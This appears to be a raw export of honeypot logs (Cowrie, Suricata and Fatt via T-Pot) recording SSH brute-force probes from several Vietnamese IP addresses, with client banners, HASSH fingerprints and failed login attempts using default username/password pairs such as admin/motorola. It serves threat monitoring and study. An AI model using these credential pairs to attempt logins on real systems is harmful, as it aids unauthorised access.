26103	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:46.537378+03	2021-09-20 14:15:12.837646+03	{"_id": "XAbnAnwBvYTbRNuEnyD9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ae7fd3fabf78", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:46.537378Z", "@timestamp": "2021-09-20T11:11:46.537Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26104	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:11:46.754065+03	2021-09-20 14:15:12.838645+03	{"_id": "XgbnAnwBvYTbRNuEoiAY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1478995282687750, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51766, "dest_port": 22, "timestamp": "2021-09-20T11:11:46.754065Z", "@timestamp": "2021-09-20T11:11:46.754Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26105	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:46.622069+03	2021-09-20 14:15:12.839645+03	{"_id": "XwbnAnwBvYTbRNuEoiAZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1491605306605916, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43136, "dest_port": 22, "timestamp": "2021-09-20T11:11:46.622069Z", "@timestamp": "2021-09-20T11:11:46.622Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26106	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:11:46.836148+03	2021-09-20 14:15:12.841647+03	{"_id": "YAbnAnwBvYTbRNuEoiAZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1636663532033197, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52056, "dest_port": 22, "timestamp": "2021-09-20T11:11:46.836148Z", "@timestamp": "2021-09-20T11:11:46.836Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26107	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:46.745027+03	2021-09-20 14:15:12.842646+03	{"_id": "dQbnAnwBvYTbRNuEoyDf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ff0641c5db98", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:46.745027Z", "@timestamp": "2021-09-20T11:11:46.745Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26108	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:46.7685+03	2021-09-20 14:15:12.843646+03	{"_id": "hAbnAnwBvYTbRNuEoyDf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8fbc0dcdcced", "@version": "1", "timestamp": "2021-09-20T11:11:46.768500Z", "@timestamp": "2021-09-20T11:11:46.768Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26109	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:46.811603+03	2021-09-20 14:15:12.844646+03	{"_id": "ewbnAnwBvYTbRNuEoyDf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ae7fd3fabf78", "@version": "1", "timestamp": "2021-09-20T11:11:46.811603Z", "@timestamp": "2021-09-20T11:11:46.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26110	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:47.136712+03	2021-09-20 14:15:12.846647+03	{"_id": "fgbnAnwBvYTbRNuEoyDf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [linaro/linaro] failed", "session": "5c71648210c7", "@version": "1", "password": "linaro", "username": "linaro", "timestamp": "2021-09-20T11:11:47.136712Z", "@timestamp": "2021-09-20T11:11:47.136Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26111	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:47.540153+03	2021-09-20 14:15:12.847644+03	{"_id": "fwbnAnwBvYTbRNuEoyDf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d7979cce0475", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:47.540153Z", "@timestamp": "2021-09-20T11:11:47.540Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26112	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:11:47.92439+03	2021-09-20 14:15:12.848647+03	{"_id": "iAbnAnwBvYTbRNuEpiAA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1405315118757790, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48990, "dest_port": 22, "timestamp": "2021-09-20T11:11:47.924390Z", "@timestamp": "2021-09-20T11:11:47.924Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26113	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:11:47.88518+03	2021-09-20 14:15:12.849647+03	{"_id": "igbnAnwBvYTbRNuEpyAm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38644, "dest_port": 22, "timestamp": "2021-09-20T11:11:47.885180", "@timestamp": "2021-09-20T11:11:47.885Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26114	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:47.70731+03	2021-09-20 14:15:12.850646+03	{"_id": "jAbnAnwBvYTbRNuEpyDH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:48990 (192.168.176.2:22) [session: b09377ee68d2]", "session": "b09377ee68d2", "@version": "1", "protocol": "ssh", "src_port": 48990, "dest_port": 22, "timestamp": "2021-09-20T11:11:47.707310Z", "@timestamp": "2021-09-20T11:11:47.707Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26115	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:48.050932+03	2021-09-20 14:15:12.851646+03	{"_id": "jQbnAnwBvYTbRNuEpyDH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [carol/carol] failed", "session": "ceced7ff072f", "@version": "1", "password": "carol", "username": "carol", "timestamp": "2021-09-20T11:11:48.050932Z", "@timestamp": "2021-09-20T11:11:48.050Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26116	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:47.674624+03	2021-09-20 14:15:12.853646+03	{"_id": "kAbnAnwBvYTbRNuEpyDJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/motorola] failed", "session": "8fbc0dcdcced", "@version": "1", "password": "motorola", "username": "admin", "timestamp": "2021-09-20T11:11:47.674624Z", "@timestamp": "2021-09-20T11:11:47.674Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
